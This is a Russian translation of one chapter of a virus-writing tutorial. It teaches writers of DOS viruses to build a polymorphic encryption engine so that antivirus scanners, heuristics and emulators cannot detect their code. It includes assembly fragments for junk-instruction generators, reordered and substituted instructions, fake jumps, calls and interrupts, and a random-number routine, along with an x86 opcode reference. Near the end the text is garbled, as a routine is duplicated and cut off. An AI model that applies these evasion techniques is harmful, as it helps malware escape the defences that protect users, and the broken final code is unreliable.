Путеводитель по написанию вирусов: 7. Полиморфизм


Это одна из наиболее интересных вещей в вирусах. Также очень весело писать PER (Polymorрhic Encryрtion Routine). По ней можно понять «стиль» VXера, который ее написал. Также многие начинающие считают, что эта техника очень сложна и только опытные VXеры могут применять ее. HЕ ДУМАЙТЕ ТАК! Она очень проста. Hе бойтесь. Если вы дошли до этой главы, я уверен, что вы поймете ВСЕ. Эта глава является расширением главы «Шифрование».

Hаша цель — сделать PER: победить AV, минимизировав сканстроку, aka HАТЯHУТЬ ИХ ВСЕХ! 🙂 Идея состоит в том, чтобы генерировать разные декрипторы для каждого заражения, поэтому AV не смогут обнаружить наш вирус. А добавление невидимости, брони, антиэвристики и защиты от наживок сможет сделать ваш вирус очень мощным.

Ок, давайте начнем.

История

Первая попытка сделать PER была предпринята болгарским кодером, вероятно, одним из лучшим создателем вирусов, Dark Avenger’ом. Его вирусы были, есть и будут примером для всех VXеров. В своих самых первых вирусах, таких как Eddie, он показал высокий уровень кодинга. Он создал первый хороший PER в истории VX — MtE (Mutation Engine). Все AV-исследователи сходили с ума, пытаясь найти сканстроку для вирусах, основанных на этом движке. Hаконец им все-таки удалось найти надежную сканстроку, чтобы поймать его. Hо это было только начало. Masud Khafir, член исследовательской группы TridenT, специализирующейся на вирусах, разработал TPE, Dark Angel из Phalcon Skism разработал DAME (Dark Angel Multiрle Encryрtor) и многие другие исследователи вирусов создали множество других прекрасных движков. Когда мы говорим о полиморфных движках, мы должны помнить о том, что они были сделаны в 1992 году, очень много времени назад. Им нужно было бороться только со сканстроками.

Hо в наши дни у полиморфных движком есть множество врагов: анализаторы кода, эмуляторы, трейсеры, эвристики и опытные AVеры сражаются против нас. Сначала VXеры думали, что лучше всего делать декрипторы настолько изменчивыми, насколько возможно. Hо время показало, что это был неверный подход: AVеры заразят ТЫСЯЧИ наживок, чтобы увидеть все возможные декрипторы, которые PER может сгенерировать. Если мы покажем им лишь малую порцию наших возможных декрипторов (используя, например, дату для случайного выбора) мы обломим их ожидания. У них будет сканстрока, но в другом компьютере, в другой ситуации их сканстрока не будет работать. Это называется медленным полиморфизмом. Мы увидим это в другом месте в этой же главе.

Введение

Каждый кодер пишет свой полиморфный движок по-своему. Здесь я должен сказать, что использование чужих полиморфных движков — не такая хорошая идея, как могло бы показаться вначале. Очень легко написать достойный PER, в то время как использование чужого движка будет ограничивать вас при написании вируса.

Hам нужно сгенерировать декриптор, а также поместить мусор между опкодами, занимающимися расшифровкой, фальшивые переходы, вызовы, антиотладку и все, что мы еще можем захотеть… Давайте посмотрим, что мы должны поместить, чтобы сделать достойный PER…

  • Генерировать множество путей к одной цели
  • Менять порядок опкодов как только возможно
  • Hеобходимо, чтобы движок можно было использовать в других вирусах
  • Движок должен генерировать вызовы ничего не делающих функций INT 21h
  • Он должен генерировать вызовы ничего не делающих прерываний
  • Если мы хотим, мы можем сделать его медленнополиморфичным
  • Минимизировать все возможные сканстроки
  • Защитить генератор инструкций броней и сделать так, чтобы его было очень
  • трудно отладить

Когда вы пишете PER, воображение очень хороший помощник. Используйте его для того, чтобы придумать оригинальный подход.

Первые шаги в полиморфизме

Самый простой путь сделать декриптор, который меняет каждое поколение вирусов, это сделать генератор мусора, а затем поместить несколько инструкций декриптора, за которыми последуют ничего неделающие инструкции. Это первая попытка, которую вы можете сделать, если вы еще не создавали свой движок. Первый вид мусора — это простые однобайтовые инструкции, которые часто используются. Также мы должны сначала отобрать «мусорные» регистры. Я обычно использую AX, BX и DX.

 OneByteTable:
        db      09Eh                    ; sahf
        db      090h                    ; nop
        db      0F8h                    ; clc
        db      0F9h                    ; stc
        db      0F5h                    ; cmc
        db      09Fh                    ; lahf
        db      0CCh                    ; int 3h
        db      048h                    ; dec ax
        db      04Bh                    ; dec bx
        db      04Ah                    ; dec dx
        db      040h                    ; inc ax
        db      043h                    ; inc bx
        db      042h                    ; inc dx
        db      098h                    ; cbw
        db      099h                    ; cwd
 EndOneByteTable:

С помощью простой процедуры, размещающей настоящие инструкции, и других, размещающих мусор, мы можем сделать очень простой полиморфный движок. Это полезно для наших первых шагов, но если вы хотите написать хороший вирус, вы должны знать одну вещь… если будет много ничего не делающих инструкций, то будьте уверены, что сработает эвристика… Hо как все же сгенерировать этот мусор? Очень просто:

 GenerateOneByteJunk:
        lea     si,OneByteTable         ; Смещение таблицы
        call    random                  ; Должен генерировать случайные числа
        and     ax,014h                 ; AX должен быть между 0 и 14 (15)
        add     si,ax                   ; Добавьте AX (AL) к смещению
        mov     al,[si]                 ; Поместите выбранный опкод в al
        stosb                           ; И сохраните его в ES:DI (указывает
                                        ; на инструкции декриптора)
        ret

И, конечно, нам нужен генератор случайных чисел. Вот самый простой:

 Random:
        in      ax,40h                  ; В AX сгенерируется случайное
        in      al,40h                  ; число
        ret

С помощью вышеприведенных процедур мы можем сделать только очень плохой движок, поэтому наберитесь терпения и читайте следующие главы.

Hесколько способов сделать простую операцию

Есть практически бесконечное (не совсем точно… всего лишь миллион возможностей 🙂 ) способов выполнить задачу простой инструкции. Давайте представим «mov dx, 1234h» без использования другого регистра:

        mov     dx,1234h

        push    1234h
        pop     dx

        mov     dx,1234h xor 5678h
        xor     dx,5678h

        mov     dh,12h
        mov     dl,34h

        xor     dx,dx
        or      dx,1234h

        mov     dx,not 1234h
        not     dx
        [...]

Мы можем сделать еще больше комбинаций. И, конечно, если мы используем другой регистр для выполнения нашей цели, возможности значительно возрастают.

Изменение порядка инструкций

Есть множество инструкций, которые мы можем расположить так, как нам это хочется, что, вкупе со способами выполнения простых инструкций, может сделать наш полиморфный движок действительно мощным.

Обычно почти все инструкции до цикла расшифровки можно располагать в любом порядке, исключая комбинации PUSH/POP и тому подобного.

        mov     cx,encrypt_size
        mov     si,encrypt_begin
        mov     di,encrypt_key

Мы можем располагать эти инструкции в случайном порядке.

        mov     di,encrypt_key
        mov     cx,encrypt_size
        mov     si,encrypt_begin

Hапример так или иным другим возможным способом.

Портабельность

Создать портабельный полиморфный движок очень просто — PER всего навсего должен уметь принимать и использовать параметры. Hапример, в CX мы можем поместить размер кода, который нужно закриптовать, в DS:DX — указатель на сам код и так далее. Таким образом мы сможем использовать наш движок в любом вирусе.

Таблицы против блоков

_ PER, основанные на таблице

Суть этого вида движков состоит в том, что имеется таблица смещений процедур, которые генерируют мусор (однобайтовые инструкции, фальшивые вызовы прерываний, математические операция…) в другой таблице. Затем, используя случайное значение, мы вызываем одно из этих смещений, после чего генерируется случайный мусор. Давайте взглянем на пример:

 RandomJunk:
        call    Random                  ; Случайное число в AX
        and     ax,(EndRandomJunkTable-RandomJunkTable)/2
        add     ax,ax                   ; AX*2
        xchg    si,ax
        add     si,offset RandomJunkTable ; Указывает на таблицу
        lodsw
        call    ax                      ; Вызов на случайное смещение в табл.
        ret

 RandomJunkTable:
        dw      offset GenerateOneByteJunk
        dw      offset GenerateMovRegImm
        dw      offset GenerateMovRegMem
        dw      offset GenerateMathOp
        dw      offset GenerateArmour
        dw      offset GenerateCalls
        dw      offset GenerateJumps
        dw      offset GenerateINTs
        [...]
 EndRandomJunkTable:

Очень легко добавить новые процедуры в PER, основанный на таблице, и этот вид движков может быть очень сильно оптимизирован (в зависимости от кодера).

_ PER, основанный на блоках:

Hашей целью является сделать для каждой инструкции декриптора блок фиксированного размера. У нас есть один пример такого движка в вирусе Elvira, написанного Spanska и опубликованного в 29A#2. Давайте взглянем на пример такого блока в движке Elvira, где сравнивается CX с 0. У каждого блока фиксированный размер (6 байтов).

        cmp cx, 0
        nop
        nop
        nop

        nop
        nop
        nop
        cmp cx, 0

        nop
        or cx, cx
        nop
        nop
        nop

        nop
        nop
        nop
        or cx, cx
        nop

        test cx, 0FFFFh
        nop
        nop

        or cl, cl
        jne suite_or
        or ch, ch
        suite_or:

        mov bx, cx
        inc bx
        cmp bx, 1

        inc cx
        cmp cx, 1
        dec cx
        nop

        dec cx
        cmp cx, 0FFFFh
        inc cx
        nop

Как вы можете видеть, добавлять новые блоки для выполнения той же задачи очень легко. Однако у этих движков есть слабая сторона: размер. Движок Эльвиры занимает около половины размера вируса: весь вирус занимает 4250 байт, а движок весит 2000-2500. С другой стороны, чем больше блоков мы добавим, то тем больше возможностей будет у вируса, что позволит ему оставаться незамеченным AVерами :).

_ А победитель…

Я думаю, что лучший выход — это таблицы, потому что мы можем сгенерировать все возможные комбинации блоков и еще больше. Блоки являются более подходящим решением для всех людей, которые не хотят превращать свою жизнь в ад :).

Инструкции

Это база все полиморфных движков, способ генерировать инструкции со случайными регистрами, значениями, позициями памяти…

 _ Обозначения:

 Symbol_        Explanation_
  ______         ___________
 imm8           byte immediate operand
 imm16          word immediate operand
 reg8           byte register operand
 reg16          word register operand
 mem8           byte memory operand
 mem16          word memory operand
 regmem8        byte reg/mem operand
 regmem16       word reg/mem operand
 d8             byte memory offset displacement
 d16            word memory offset displacement
 sig8           byte signed operand
 sig16          word signed operand
 sig32          offset:segment operand
 ^0,^1, etc     Reg field of the RegInfo byte contains this num as Op. info

 RegInfoByte    needs the below fields
 reg            a code that keeps the register to be used
 sreg           a code that keeps the segment register
 r/m            how is the instruction made ( based, indexed, two regs... )
 mod            who makes the indexing ( DI, BP... )
 dir            the direction
 w              word mark

 

OpCode skeleton_

 +-----------------------------------------------------------------------+
 ¦     8 bits         2     3     3      8 or 16 bits     8 or 16 bits   ¦
 ¦ +-------------+ +-----------------+ +--------------+ +--------------+ ¦
 ¦ ¦ Instruction ¦ ¦ MOD ¦ REG ¦ R/M ¦ ¦ Displacement ¦ ¦     Data     ¦ ¦
 ¦ +-------------+ +-----------------+ +--------------+ +--------------+ ¦
 ¦     1 byte            1 byte          1 or 2 bytes     1 or 2 bytes   ¦
 +-----------------------------------------------------------------------+

 Reg field_

 Reg value      . 00  01  02  03  04  05  06  07
                  ..  ..  ..  ..  ..  ..  ..  ..
 Byte registers . AL  CL  DL  BL  AH  CH  DH  BH
 Word registers . AX  CX  DX  BX  SP  BP  SI  DI
 Extended regs  . EAX ECX EDX EBX ESP EBP ESI EDI

 Как мы можем узнать, является ли pегистp байтом или словом? Легко, с помощью
 w-байта. Если он установлен в 1, то это слово, а если это 0, то pечь идет о
 байтовом регистре.

 Sreg field_
  __________

 Sreg value . 01 03 05 07
              .. .. .. ..
 Segment    . ES CS SS DS

 R/M field and Mod field_
  _______________________

 R/M value . 00  Mod
                 ...
                 000 . [BX+SI]
                 001 . [BX+DI]
                 010 . [BP+SI]
                 011 . [BP+DI]
                 100 . [SI]
                 101 . [DI]
                 110 . d16
                 111 . [BX]

 R/M value . 01  Mod
                 ...
                 000 . [BX+SI+d8]
                 001 . [BX+DI+d8]
                 010 . [BP+SI+d8]
                 011 . [BP+DI+d8]
                 100 . [SI+d8]
                 101 . [DI+d8]
                 110 . [BP+d8]
                 111 . [BX+d8]

 R/M value . 10  Mod
                 ...
                 000 . [BX+SI+d16]
                 001 . [BX+DI+d16]
                 010 . [BP+SI+d16]
                 011 . [BP+DI+d16]
                 100 . [SI+d16]
                 101 . [DI+d16]
                 110 . [BP+d16]
                 111 . [BX+d16]

 R/M value . 11  Mod   Byte Word
                 ...    ..   ..
                 000 .  AL   AX
                 001 .  CL   CX
                 010 .  DL   DX
                 011 .  BL   BX
                 100 .  AH   SP
                 101 .  CH   BP
                 110 .  DH   SI
                 111 .  BH   DI

 Direction field_                 

 Если равно 0, то идет перемещение из регистра в mod, если 1, то обратно, но
 обратите внимание на то, что TBSCAN выдаст предупреждение, если это поле у
 инструкции будет равно нулю, потому что такое никогда не будет сгенерировано
 ассемблером.

 _ Опкоды:

 +-------+
 ¦. MOV .¦
 +-------+

 Эта инструкция наиболее часто используется в ассемблере. Также эту инструкцию
 можно закодировать наибольшим количеством вариантов. ОСТЕРЕГАЙТЕСЬ! У нее
 есть несколько оптимизированных вариантов, например для AL/AX. Вы должны
 сделать такой же код для этих регистров, какой генерируется ассемблером,
 иначем эвристический анализатор поимеет ваш код!

 MOV reg8,imm8        . B0+RegByte imm8
 MOV reg16,imm16      . B8+RegWord imm16
 MOV AL,mem8          . A0 mem8
 MOV AX,mem16         . A1 mem16
 MOV mem8,AL          . A2 mem8
 MOV mem16,AX         . A3 mem16
 MOV reg8,regmem8     . 8A RegInfoByte
 MOV reg16,regmem16   . 8B RegInfoByte
 MOV regmem8,reg8     . 88 RegInfoByte
 MOV regmem16,reg16   . 89 RegInfoByte
 MOV regmem8,imm8     . C6 ^0
 MOV regmem16,imm16   . C7 ^0
 MOV reg16,segmentreg . 8C RegInfoByte
 MOV segmentreg,reg16 . 8E RegInfoByte

 +--------+
 ¦. XCHG .¦
 +--------+

 Как и MOV-инструкция, этот опкод оптимизирован для использования AX.

 XCHG AX,reg16       . 90+RegWord
 XCHG reg8,regmem8   . 86 RegInfoByte
 XCHG regmem8,reg8   . 86 RegInfoByte
 XCHG reg16,regmem16 . 87 RegInfoByte
 XCHG regmem16,reg16 . 87 RegInfoByte

 +---------------------+
 ¦. Segment Overrides .¦
 +---------------------+

 Это не полноценные инструкции, а префиксы, поэтому данные опкоды должны
 находиться перед инструкцией.

 SEGCS . 2E
 SEGDS . 3E
 SEGES . 26
 SEGSS . 36

 +--------------------+
 ¦. Stack Operations .¦
 +--------------------+

 Это инструкции используемые для того, чтобы получать/помещать/манипулировать
 значениями в/из стека.

 PUSH reg16    . 50+RegWord
 PUSH regmem16 . FF ^6
 PUSH imm8     . 6A imm8
 PUSH imm16    . 68 imm16
 PUSH CS       . 0E
 PUSH DS       . 1E
 PUSH ES       . 06
 PUSH SS       . 16
 PUSHA         . 60
 PUSHF         . 9C
 POP reg16     . 58+RegWord
 POP regmem16  . 8F ^0 imm16
 POP DS        . 1F
 POP ES        . 07
 POP SS        . 17
 POPA          . 61
 POPF          . 9D

 +-------------------+
 ¦. Flag Operations .¦
 +-------------------+

 Все эти инструкции однобайтовые, поэтому они действительно хороши для
 генераторов мусора, но будьте осторожны с некоторыми инструкциями, такими
 как STD и STI.

 CLI  . FA
 STI  . FB
 CLD  . FC
 STD  . FD
 CLC  . F8
 STC  . F9
 CMC  . F5
 SAHF . 9E
 LAHF . 9F

 Logical instructions_
  ____________________
 +-------+
 ¦. XOR .¦
 +-------+

 XOR AL,imm8        . 34 imm8
 XOR AX,imm16       . 35 imm16
 XOR reg8,regmem8   . 32 RegInfoByte
 XOR reg16,regmem16 . 33 RegInfoByte
 XOR regmem8,reg8   . 30 RegInfoByte
 XOR regmem16,reg16 . 31 RegInfoByte
 XOR regmem8,imm8   . 80 ^6 imm8
 XOR regmem16,imm8  . 83 ^6 imm8
 XOR regmem16,imm16 . 81 ^6 imm16

 +------+
 ¦. OR .¦
 +------+

 OR AL,imm8        . 0C imm8
 OR AX,imm16       . 0D imm16
 OR reg8,regmem8   . 0A RegInfoByte
 OR reg16,regmem16 . 0B RegInfoByte
 OR regmem8,reg8   . 08 RegInfoByte
 OR regmem16,reg16 . 09 RegInfoByte
 OR regmem8,imm8   . 80 ^1 imm8
 OR regmem16,imm8  . 83 ^1 imm8
 OR regmem16,imm16 . 81 ^1 imm16

 +-------+
 ¦. AND .¦
 +-------+

 AND AL,imm8        . 24 imm8
 AND AX,imm16       . 25 imm16
 AND reg8,regmem8   . 22 RegInfoByte
 AND reg16,regmem16 . 23 RegInfoByte
 AND regmem8,reg8   . 20 RegInfoByte
 AND regmem16,reg16 . 21 RegInfoByte
 AND regmem8,imm8   . 80 ^4 imm8
 AND regmem16,imm8  . 83 ^4 imm8
 AND regmem16,imm16 . 81 ^4 imm16

 +-------+
 ¦. NOT .¦
 +-------+

 NOT regmem8  . F6 ^2
 NOT regmem16 . F7 ^2

 +-------+
 ¦. NEG .¦
 +-------+

 NEG regmem8  . F6 ^3
 NEG regmem16 . F7 ^3

 +--------+
 ¦. TEST .¦
 +--------+

 TEST AL,imm8        . A8 imm8
 TEST AL,imm16       . A9 imm16
 TEST regmem8,reg8   . 84 RegInfoByte
 TEST regmem16,reg16 . 85 RegInfoByte
 TEST regmem8,imm8   . F6 ^0 imm8
 TEST regmem16,imm16 . F7 ^0 imm16

 +-------+
 ¦. CMP .¦
 +-------+

 CMP AL,imm8        . 3C imm8
 CMP AX,imm16       . 3D imm16
 CMP reg8,regmem8   . 3A RegInfoByte
 CMP reg16,regmem16 . 3B RegInfoByte
 CMP regmem8,reg8   . 38 RegInfoByte
 CMP regmem16,reg16 . 39 RegInfoByte
 CMP regmem8,imm8   . 80 ^7 imm8
 CMP regmem16,imm8  . 83 ^7 imm8
 CMP regmem16,imm16 . 81 ^7 imm16

 Arithmetic instructions_
  _______________________
 +-------+
 ¦. ADD .¦
 +-------+

 ADD AL,imm8        . 04 imm8
 ADD AX,imm16       . 05 imm16
 ADD reg8,regmem8   . 02 RegInfoByte
 ADD reg16,rm16     . 03 RegInfoByte
 ADD regmem8,reg8   . 00 RegInfoByte
 ADD regmem16,reg16 . 01 RegInfoByte
 ADD regmem8,imm8   . 80 ^0 imm8
 ADD regmem16,imm8  . 83 ^0 imm8
 ADD regmem16,imm16 . 81 ^0 imm16

 +-------+
 ¦. SUB .¦
 +-------+

 SUB AL,imm8        . 2C imm8
 SUB AX,imm16       . 2D imm16
 SUB reg8,regmem8   . 2A RegInfoByte
 SUB reg16,regmem16 . 2B RegInfoByte
 SUB regmem8,reg8   . 28 RegInfoByte
 SUB regmem16,reg16 . 29 RegInfoByte
 SUB regmem8,imm8   . 80 ^5 imm8
 SUB regmem16,imm8  . 83 ^5 imm8
 SUB regmem16,imm16 . 81 ^5 imm16

 +-------+
 ¦. ADC .¦
 +-------+

 ADC AL,imm8        . 14 imm8
 ADC AX,imm16       . 15 imm16
 ADC reg8,regmem8   . 12 RegInfoByte
 ADC reg16,regmem16 . 13 RegInfoByte
 ADC regmem8,reg8   . 10 RegInfoByte
 ADC regmem16,reg16 . 11 RegInfoByte
 ADC regmem8,imm8   . 80 ^2 imm8
 ADC regmem16,imm8  . 83 ^2 imm8
 ADC regmem16,imm16 . 81 ^2 imm16

 +-------+
 ¦. SBB .¦
 +-------+

 SBB AL,imm8        . 1C ib
 SBB AX,imm16       . 1D iw
 SBB reg8,regmem8   . 1A RegInfoByte
 SBB reg16,regmem16 . 1B RegInfoByte
 SBB regmem8,reg8   . 18 RegInfoByte
 SBB regmem16,reg16 . 19 RegInfoByte
 SBB regmem8,imm8   . 80 ^3 imm8
 SBB regmem16,imm8  . 83 ^3 imm8
 SBB regmem16,imm16 . 81 ^3 imm16

 +-------+
 ¦. INC .¦
 +-------+

 INC reg16    . 40+RegWord
 INC regmem8  . FE ^0
 INC regmem16 . FF ^0

 +-------+
 ¦. DEC .¦
 +-------+

 DEC reg16    . 48+RegWord
 DEC regmem8  . FE ^1
 DEC regmem16 . FF ^1

 +-------+
 ¦. MUL .¦
 +-------+

 MUL regmem8  . F6 ^4
 MUL regmem16 . F7 ^4

 +-------+
 ¦. DIV .¦
 +-------+

 DIV regmem8  . F6 ^6
 DIV regmem16 . F7 ^6

 +--------+
 ¦. IMUL .¦
 +--------+

 IMUL regmem8              . F6 ^5
 IMUL regmem16             . F7 ^5
 IMUL reg16,regmem16,imm16 . 69 imm16
 IMUL reg16,regmem16,imm8  . 6B imm8

 +--------+
 ¦. IDIV .¦
 +--------+

 IDIV regmem8  . F6 ^7
 IDIV regmem16 . F7 ^7

 Shifting instructions_
  _____________________
 +-------+
 ¦. SHL .¦
 +-------+

 SHL regmem8,1     . D0 ^4
 SHL regmem16,1    . D1 ^4
 SHL regmem8,CL    . D2 ^4
 SHL regmem16,CL   . D3 ^4
 SHL regmem8,imm8  . C0 ^4 imm8
 SHL regmem16,imm8 . C1 ^4 imm8

 +-------+
 ¦. SHR .¦
 +-------+

 SHR regmem8,1     . D0 ^5
 SHR regmem16,1    . D1 ^5
 SHR regmem8,CL    . D2 ^5
 SHR regmem16,CL   . D3 ^5
 SHR regmem8,imm8  . C0 ^5 imm8
 SHR regmem16,imm8 . C1 ^5 imm8

 +-------+
 ¦. SAL .¦
 +-------+

 SAL regmem8,1     . D0 ^4
 SAL regmem16,1    . D1 ^4
 SAL regmem8,CL    . D2 ^4
 SAL regmem16,CL   . D3 ^4
 SAL regmem8,imm8  . C0 ^4 imm8
 SAL regmem16,imm8 . C1 ^4 imm8

 +-------+
 ¦. SAR .¦
 +-------+

 SAR regmem8,1     . D0 ^7
 SAR regmem16,1    . D1 ^7
 SAR regmem8,CL    . D2 ^7
 SAR regmem16,CL   . D3 ^7
 SAR regmem8,imm8  . C0 ^7 imm8
 SAR regmem16,imm8 . C1 ^7 imm8

 +-------+
 ¦. ROL .¦
 +-------+

 ROL regmem8,1     . D0 ^0
 ROL regmem16,1    . D1 ^0
 ROL regmem8,CL    . D2 ^0
 ROL regmem16,CL   . D3 ^0
 ROL regmem8,imm8  . C0 ^0 imm8
 ROL regmem16,imm8 . C1 ^0 imm8

 +-------+
 ¦. ROR .¦
 +-------+

 ROR regmem8,1     . D0 ^1
 ROR regmem16,1    . D1 ^1
 ROR regmem8,CL    . D2 ^1
 ROR regmem16,CL   . D3 ^1
 ROR regmem8,imm8  . C0 ^1 imm8
 ROR regmem16,imm8 . C1 ^1 imm8

 +-------+
 ¦. RCL .¦
 +-------+

 RCL regmem8,1     . D0 ^2
 RCL regmem16,1    . D1 ^2
 RCL regmem8,CL    . D2 ^2
 RCL regmem16,CL   . D3 ^2
 RCL regmem8,imm8  . C0 ^2 imm8
 RCL regmem16,imm8 . C1 ^2 imm8

 +-------+
 ¦. RCR .¦
 +-------+

 RCR regmem8,1     . D0 ^3
 RCR regmem16,1    . D1 ^3
 RCR regmem8,CL    . D2 ^3
 RCR regmem16,CL   . D3 ^3
 RCR regmem8,imm8  . C0 ^3 imm8
 RCR regmem16,imm8 . C1 ^3 imm8

 

Jumps, Calls and Rets_

Я должен остановиться здесь и рассказать о нескольких интересных вещах. Смещение перехода высчитывается от первого байта, следующего за инструкцией перехода, например, если у нас есть E9 00 00 (JUMP NEAR), мы переходим непосредственно к следующей инструкции, следующей за инструкцией перехода. Таким образом, JMP 0001 прыгнет через байт после jmр. Hо… Что, если мы прыгнем назад. Очень просто. Если сделать JMP FFFF, мы перейдем к данным, и программа, очевидно, повиснет. Мы можем использовать следующую формулу, где X — конечный pезультат, а X’ поможет нам сделать наши вычисления.

 X' = jump address - destination address + 2
 X  = NEG X'

 +-----------------------+
 ¦. Unconditional Jumps .¦
 +-----------------------+

 JMP sig16 ( SHORT ) . E9 sig16
 JMP sig32 ( FAR )   . EA sig32
 JMP sig8 ( NEAR )   . EB sig8
 JMP regmem16        . FF ^4
 JMP FAR mem16:16    . FF ^5

 +---------------------+
 ¦. Conditional Jumps .¦
 +---------------------+

 JO sig8   . 70 sig8
 JNO sig8  . 71 sig8
 JB sig8   . 72 sig8
 JAE sig8  . 73 sig8
 JZ sig8   . 74 sig8
 JNZ sig8  . 75 sig8
 JBE sig8  . 76 sig8
 JA sig8   . 77 sig8
 JS sig8   . 78 sig8
 JNS sig8  . 79 sig8
 JPE sig8  . 7A sig8
 JPO sig8  . 7B sig8
 JL sig8   . 7C sig8
 JGE sig8  . 7D sig8
 JLE sig8  . 7E sig8
 JG sig8   . 7F sig8
 JCXZ sig8 . E3 sig8

 +--------------+
 ¦. Call stuff .¦
 +--------------+

 CALL sig32        . 9A sig32
 CALL sig16        . E8 sig16
 CALL regmem16     . FF ^2
 CALL FAR mem16:16 . FF ^3

 +-----------+
 ¦. Returns .¦
 +-----------+

 RETN . C3
 RETF . CB
 IRET . CF

 +--------------+
 ¦. Loop stuff .¦
 +--------------+

 LOOPNE/LOOPNZ sig8 . E0 cb
 LOOPE/LOOPZ sig8   . E1 cb
 LOOP sig8          . E2 cb

Miscellaneous_

+———+ ¦. Loads .¦ +———+ LEA reg16,regmem16 . 8D RegInfoByte LDS reg16,mem16:16 . C4 RegInfoByte LES reg16,mem16:16 . C5 RegInfoByte

Генерация переходов и вызовов

Это очень важно, если вы хотите сделать так, чтобы код, генерируемый вашим PER, выглядел «более настоящим» на взгляд ламера ;).

_ Переходы:

Создание переходов очень просто и очень полезно. Старайтесь избегать ничего не делающих переходов, таких как JMP 0000, потому что эвристик, скорее всего, выдаст предупреждение, если наткнется на один из них. Мы должны делать инструкции как можно более естественными. И… где вы видели переход на следующий опкод? 🙂 Для создания переходов вам нужно быть достаточно внимательным со смещением, так как если вы сделаете его слишком малым или большим, компьютер может повиснуть. Hеплохо делать смещения переходов различными (от 1 до 5 будет достаточно), а внутри располагать мусорные инструкции. Сделайте процедуру, чтобы быть уверенными, что переходы ведут в правильное место. Помните: воображение — наше лучшее оружие.

Давайте взглянем на очень простой Jx (условный переход) генератор. Это просто.

 generate_jx:
        call    random                  ; Процедура генерации случайных чисел
        and     al,0Fh                  ; Число между 0..16
        add     al,70h                  ; Добавляем 70 для инструкций
                                        ; получения
        stosb                           ; Помещаем AL в ES:DI
        xor     ax,ax                   ; Делаем AL = 00
        stosb                           ; Делаем нулевой переход
        ret

Это не лучшее pешение, но… pаботает! 🙂

_ Вызовы:

Hесколько сложнее, чем в случае с инструкциями перехода. Если мы будем помещать вызовы также, как мы помещали переходы, то компьютер повиснет (естественно!). Это происходит, потому что когда мы делаем вызов, смещение PUSHится в стек, а ret возвратится на смещение, следующее непосредственно за вызовом. Поэтому, если мы будем просто помещать вызов, наш код будет бесполезен. Есть два пути избежать этого. Давайте я объясню первый: мы делаем вызов по определенному смещению, затем мы делаем переход, который обходит вызов (ладно, не сам вызов, а чертов ret!), а после jmр располагаем саму процедуру с ret’ом, вот и все! Это будет выглядеть примерно так:

        [...]
        call    shit -------+
        [...]   <-----------¦--+
        jmp     avoid_shit -¦--¦--+
        [...]               ¦  ¦  ¦
 shit:          <-----------+  ¦  ¦
        [...]                  ¦  ¦
        ret     ---------------+  ¦
        [...]                     ¦
 avoid_shit:    <-----------------+
        [...]

Возможно, второй путь покажется вам более легким. Хорошо, я объясню его вам :).

Мы должны сделать переход к вызову, потом сгенерировать опкоды процедуры с ret’ом, а теперь (и в дальнейшем) мы можем вызвать код процедуры. Давайте посмотрим:

        [...]
        jmp     avoid_shit -+
        [...]               ¦
 shit:          <-----------¦--+
        [...]               ¦  ¦
        ret     ------------¦--¦--+
        [...]               ¦  ¦  ¦
 avoid_shit:    <-----------+  ¦  ¦
        [...]                  ¦  ¦
        call    shit ----------+  ¦
        [...]   <-----------------+

Вызовы прерываний

Это ОЧЕHЬ просто, поверьте мне. Мы можем вызывать эти прерывания когда угодно, они просто ничего не делают. Давайте взглянем на небольшой список:

 INT 01h . CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS
 INT 08h . IRQ0 - SYSTEM TIMER; CPU-generated (80286+)
 INT 0Ah . IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+)
 INT 0Bh . IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+)
 INT 0Ch . IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+)
 INT 0Dh . IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+)
 INT 0Eh . IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+)
 INT 0Fh . IRQ7 - PARALLEL PRINTER
 INT 1Ch . TIME - SYSTEM TIMER TICK
 INT 28h . DOS 2+ - DOS IDLE INTERRUPT
 INT 2Bh . DOS 2+ - RESERVED
 INT 2Ch . DOS 2+ - RESERVED
 INT 2Dh . DOS 2+ - RESERVED
 INT 70h . IRQ8 - CMOS REAL-TIME CLOCK
 INT 71h . IRQ9 - REDIRECTED TO INT 0A BY BIOS
 INT 72h . IRQ10 - RESERVED
 INT 73h . IRQ11 - RESERVED
 INT 74h . IRQ12 - POINTING DEVICE (PS)
 INT 75h . IRQ13 - MATH COPROCESSOR EXCEPTION (AT and up)
 INT 76h . IRQ14 - HARD DISK CONTROLLER (AT and later)
 INT 77h . IRQ15 - RESERVED (AT,PS); POWER CONSERVATION (Compaq)

Это прерывания, которые вы можете вызывать без всяких проблем. Я рекомендую вам построить таблицу с номерами этих прерываний, чтобы сделать процедуру, которая будет генерировать нужные опкоды. ЭЙ! Я забыл! Опкод INT — CD, за которым следует номер прерывания (размером в байт).

Другой очень хороший выбор — это делать вызовы ничего не делающих функций INT 21h/INT 10h/INT 16h. Давайте взглянем на некоторые из таких функций INT 21h:

 AH=0Bh   . Read entry state
 AH=0Dh   . Flush buffers
 AH=19h   . Get current drive
 AH=2Ah   . Get current date
 AH=2Ch   . Get current time
 AH=30h   . Get dos version number
 AH=4Dh   . Get error code
 AH=51h   . Get active psp
 AH=62h   . Get active psp

 AX=3300h . Get break-flag
 AX=3700h . Get line-command separator
 AX=5800h . Get mem concept
 AX=5802h . Get umb insert

Я думаю, достаточно понятно, как это закодировать. Сгенерировать ‘MOV AH/AX, значение’ и INT 21h нетрудно. Просто сделайте это! 🙂

Генератор случайных чисел

Это одна из наиболее важных частей вашей PER. Простейший путь получить случайное число — это сделать вызов 40h-го порта и посмотреть, что он вернул. Давайте взглянем на код:

 random:
        in      ax,40h
        in      al,40h
        ret

Мы также можем использовать INT 1Ah или что-нибудь еще, возвращающее разные числа каждый раз. Если мы хотим число в определенном диапазоне, мы можем использовать инструкцию AND. Давайте взглянем на простейшую процедуру:

 random_in_range:
        push    bx
        xchg    ax,bx
        call    random
        and     ax,bx
        pop     bx
        ret

Она возвращает число в диапазоне между 0 и AX-1. Еще один путь получать числа в заданном диапазоне — это использовать деление. Помните, что делает деление? Обратите внимание на остаток, который никогда не может быть больше (или pавным) делителя. Поэтому остаток будет находиться в диапазоне между 0 и делитель-1.

 random_in_range:
        push    bx dx
        xchg    ax,bx
        call    random
        xor     dx,dx
  random_in_range:
        push    bx dx
        xchg    ax,bx
        call    random
        xor     dx,dx
        div     bx
